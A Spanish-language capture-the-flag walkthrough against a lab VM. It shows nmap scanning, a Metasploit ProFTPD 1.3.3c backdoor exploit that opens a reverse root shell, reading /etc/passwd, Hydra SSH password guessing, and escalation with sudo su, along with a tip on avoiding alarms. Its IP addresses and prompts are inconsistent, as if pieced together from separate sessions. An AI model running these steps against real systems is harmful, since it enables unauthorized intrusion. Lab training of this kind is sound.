

CAPTURE THE FLAG (CTF)

Ifconfig, obtenemos informacion de nuestra red. Verificamos nuestra dirección ip

```
Archivo  Acciones  Editar  Vista  Ayuda
Terminal nro. 1

root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.0.21  netmask 255.255.255.0  broadcast 192.168.0.255
    inet6 fe80::a00:27ff:fe6b:e745  prefixlen 64  scopeid 0x20<link>
    ether 08:00:27:6b:e7:45  txqueuelen 1000  (Ethernet)
    RX packets 1489  bytes 99279 (96.9 KiB)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 35  bytes 2793 (2.7 KiB)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
    inet 127.0.0.1  netmask 255.0.0.0
    inet6 ::1  prefixlen 128  scopeid 0x10<host>
    loop txqueuelen 1000  (Local Loopback)
    RX packets 16  bytes 796 (796.0 B)
    RX errors 0  dropped 0  overruns 0  frame 0
    TX packets 16  bytes 796 (796.0 B)
    TX errors 0  dropped 0  overruns 0  carrier 0  collisions 0

root@kali:~#
```

nmap sP -n 192.168.0.0/24, barrido escaneo de ping, con menos (-n) evitamos la resolución de nombres. Y revisamos toda la red. Nos permite hacer un barrido de puertos y servicios.

```
Archivo  Acciones  Editar  Vista  Ayuda
Terminal nro. 1  Terminal nro. 2

root@kali:~# nmap -sP -n 192.168.0.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 20:27 -03
Nmap scan report for 192.168.0.1
Host is up (0.0047s latency).
MAC Address: 2C:79:D7:77:7A:64 (Sagemcom Broadband SAS)
Nmap scan report for 192.168.0.3
Host is up (0.00072s latency).
MAC Address: 54:13:79:0E:D9:C9 (Hon Hai Precision Ind.)
Nmap scan report for 192.168.0.10
Host is up (0.059s latency).
MAC Address: 64:C2:DE:43:68:08 (LG Electronics (Mobile Communications))
Nmap scan report for 192.168.0.13
Host is up (0.0039s latency).
MAC Address: 2C:79:D7:77:7A:65 (Sagemcom Broadband SAS)
Nmap scan report for 192.168.0.19
Host is up (0.00063s latency).
MAC Address: 00:1C:7B:A1:68:57 (Castlenet Technology)
Nmap scan report for 192.168.0.22
Host is up (0.00034s latency).
MAC Address: 08:00:27:43:0A:C6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.21
Host is up.
Nmap done: 256 IP addresses (7 hosts up) scanned in 5.12 seconds
```

-p- escanea los 65,535 puertos, -sV muestre la versión de los servicios DEL EQUIPO.

ALGUNAS VECES SOLO NECESITAMOS ENTRE LOS 100 Y 1000 PRIMEROS PUERTOS PARA EVITAR ALARMAS.

```
root@kali:~# nmap -p- -sV 192.168.0.5
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 20:35 -03
Nmap scan report for 192.168.0.5
Host is up (0.00012s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      ProFTPD 1.3.3c
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
MAC Address: 08:00:27:43:0A:C6 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.65 seconds
root@kali:~#
```

Vamos a explorar la información con searchsploit

```
root@kali:~# searchsploit ProFTPD 1.3.3c
```

Exploit Title	Path (/usr/share/exploitdb/)
ProFTpd 1.3.3c - Compromised Source Backdoor Remote Code Execution	exploits/linux/remote/15662.txt
ProFTpd-1.3.3c - Backdoor Command Execution (Metasploit)	exploits/linux/remote/16921.rb

```
Shellcodes: No Result
root@kali:~#
```

Ahora habilitamos metasploit

```
Archivo  Acciones  Editar  Vista  Ayuda
Terminal nro. 1
root@kali:~# msfdb

Manage the metasploit framework database

msfdb init      # start and initialize the database
msfdb reinit    # delete and reinitialize the database
msfdb delete    # delete database and stop using it
msfdb start     # start the database
msfdb stop      # stop the database
msfdb status    # check service status
msfdb run       # start the database and run msfconsole

root@kali:~# msfdb init
[i] Database already started
[i] The database appears to be already configured, skipping initialization
root@kali:~#
```

Ahora iniciamos la consola

```
Terminal nro.1
Archivo Acciones Editar Vista Ayuda
Terminal nro.1 Terminal nro.2
root@kali:~# msfconsole

IIIIII dTb.dTb
II 4' v 'B
II 6. .P
II 'T; .;P'
II 'T; ;P'
IIIIII 'VvP'

I love shells --egypt

      1

      =[ metasploit v5.0.85-dev ]
+ -- --=[ 2002 exploits - 1093 auxiliary - 342 post ]
+ -- --=[ 560 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: View useful productivity tips with the tip command, or view them all with tip -l

msf5 > 
```

Ahora buscamos la vulnerabilidad nuevamente.

```
msf5 > search ProFTPD 1.3.3c
```

Encontramos la vulnerabilidad del backdoor

Luego activamos el exploit con use, y quedara con el exploit activado

```
Terminal nro.1
Archivo Acciones Editar Vista Ayuda
Terminal nro.1 Terminal nro.2

Matching Modules
=====

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/freebsd/ftp/proftpd_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2r
c3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
1 exploit/linux/ftp/proftpd_sreplace 2006-11-26 great Yes ProFTPD 1.2 -
1.3.0 sreplace Buffer Overflow (Linux)
2 exploit/linux/ftp/proftpd_telnet_iac 2010-11-01 great Yes ProFTPD 1.3.2r
c3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
3 exploit/linux/misc/netsupport_manager_agent 2011-01-08 average No NetSupport Man
ager Agent Remote Buffer Overflow
4 exploit/unix/ftp/proftpd_133c_backdoor 2010-12-02 excellent No ProFTPD-1.3.3c
Backdoor Command Execution
5 exploit/unix/ftp/proftpd_modcopy_exec 2015-04-22 excellent Yes ProFTPD 1.3.5
Mod_Copy Command Execution

msf5 > use exploit/unix/ftp/proftpd_133c_backdoor
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > 
```

Luego conocemos las opciones del exploit con show options

```
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    syntax 'file:<path>'
  RPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic

msf5 exploit(unix/ftp/proftpd_133c_backdoor) > 
```

Ahora atacamos la dirección ip

```
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > set RHOSTS 192.168.0.11
RHOSTS => 192.168.0.11
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > show options

Module options (exploit/unix/ftp/proftpd_133c_backdoor):

  Name      Current Setting  Required  Description
  ----      -
  RHOSTS    192.168.0.11    yes       The target host(s), range CIDR identifier, or hosts file with
  RPORT     21               yes       The target port (TCP)

Exploit target:

  Id  Name
  --  ---
  0    Automatic

msf5 exploit(unix/ftp/proftpd_133c_backdoor) > 
```


Ahora ejecutamos el exploit con run

```
msf5 exploit(unix/ftp/proftpd_133c_backdoor) > run
[*] Started reverse TCP double handler on 192.168.0.8:4444
[*] 192.168.0.11:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AENzGrK1tmWIOHa2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "AENzGrK1tmWIOHa2\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.0.8:4444 → 192.168.0.11:45802) at 2020-05-20 21:29:42 - 0300

hostname
vtcsec
```

Y ya tenemos el control, hacemos pruebas con los comandos hostname, whoami, id

```
192.168.0.11:21 - Sending Backdoor Command
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AENzGrK1tmWIOHa2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "AENzGrK1tmWIOHa2\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.0.8:4444 → 192.168.0.11:45802) at 2020-05-20 21:29:42 - 0300

hostname
vtcsec
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
```

Ahora conoceremos los usuarios existentes.

```
cat /etc/passwd
```

```
Terminal nro. 1
Archivo Acciones Editar Vista Ayuda
Terminal nro. 1
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uidd:x:107:111::/run/uidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,:/bin/false
pulse:x:117:124:PulseAudio daemon,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,:/var/lib/usbmux:/bin/false
marlinspike:x:1000:1000:marlinspike,,:/home/marlinspike:/bin/bash
mysql:x:121:129:MySQL Server,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
```

Vulnerabilidad SSH, herramienta de acceso remoto

```
cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
marlinspike:x:1000:1000:marlinspike,,:/home/marlinspike:/bin/bash
```

Salimos con ctrl +c y luego exit

Ahora vemos las opciones de hydra con man hydra

```
Terminal nro. 1
Archivo Acciones Editar Vista Ayuda
Terminal nro. 1
root@kali:~# man hydra
```

```
Terminal no. 1
HYDRA(1)                                General Commands Manual                                HYDRA(1)

NAME
    hydra - a very fast network logon cracker which supports many different services

SYNOPSIS
    hydra
    [[[-l LOGIN|-L FILE] [-p PASS|-P FILE|-x OPT -v]] | [-C FILE]]
    [-e nsr] [-u] [-f|-F] [-M FILE] [-o FILE] [-b FORMAT]
    [-t TASKS] [-T TASKS] [-w TIME] [-W TIME] [-m OPTIONS] [-s PORT]
    [-c TIME] [-S] [-O] [-4|6] [-I] [-vV] [-d]
    server service [OPTIONS]

DESCRIPTION
    Hydra is a parallelized login cracker which supports numerous protocols to attack. New
    modules are easy to add, beside that, it is flexible and very fast.

    This tool gives researchers and security consultants the possibility to show how easy it
    would be to gain unauthorized access from remote to a system.

Manual page hydra(1) line 1 (press h for help or q to quit)
```

Ahora explotamos la vulnerabilidad con la opción hydra -l

```
Terminal no. 1
root@kali:~# man hydra
root@kali:~# hydra -l marlinspike -e nsr 192.168.0.25 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organization
s, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-05-21 02:11:39
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce th
e tasks: use -t 4
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://192.168.0.25:22/
[22][ssh] host: 192.168.0.25 login: marlinspike password: marlinspike
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-05-21 02:11:42
root@kali:~#
```

Ahora tomamos el control con ssh y el usuario marlinspyke y la dirección ip

```
root@kali:~# ssh marlinspike@192.168.0.25
marlinspike@192.168.0.25's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.15.0-101-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

195 packages can be updated.
0 updates are security updates.

New release '18.04.4 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Thu May 21 00:59:40 2020 from 192.168.0.24
marlinspike@vtcsec:~$
```

Ahora ya tenemos el control y podemos hacer pruebas

Cambiamos al usuario root con el comando sudo su

```
root@vtcsec: /home/marlinSPIKE
Archivo Acciones Editar Vista Ayuda
root@vtcsec: ~$ whoami
marlinSPIKE
root@vtcsec: ~$ hostname
vtcsec
root@vtcsec: ~$ id
uid=1000(marlinSPIKE) gid=1000(marlinSPIKE) groups=1000(marlinSPIKE),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
root@vtcsec: ~$ sudo su
[sudo] password for marlinSPIKE:
Sorry, try again.
[sudo] password for marlinSPIKE:
root@vtcsec: /home/marlinSPIKE#
```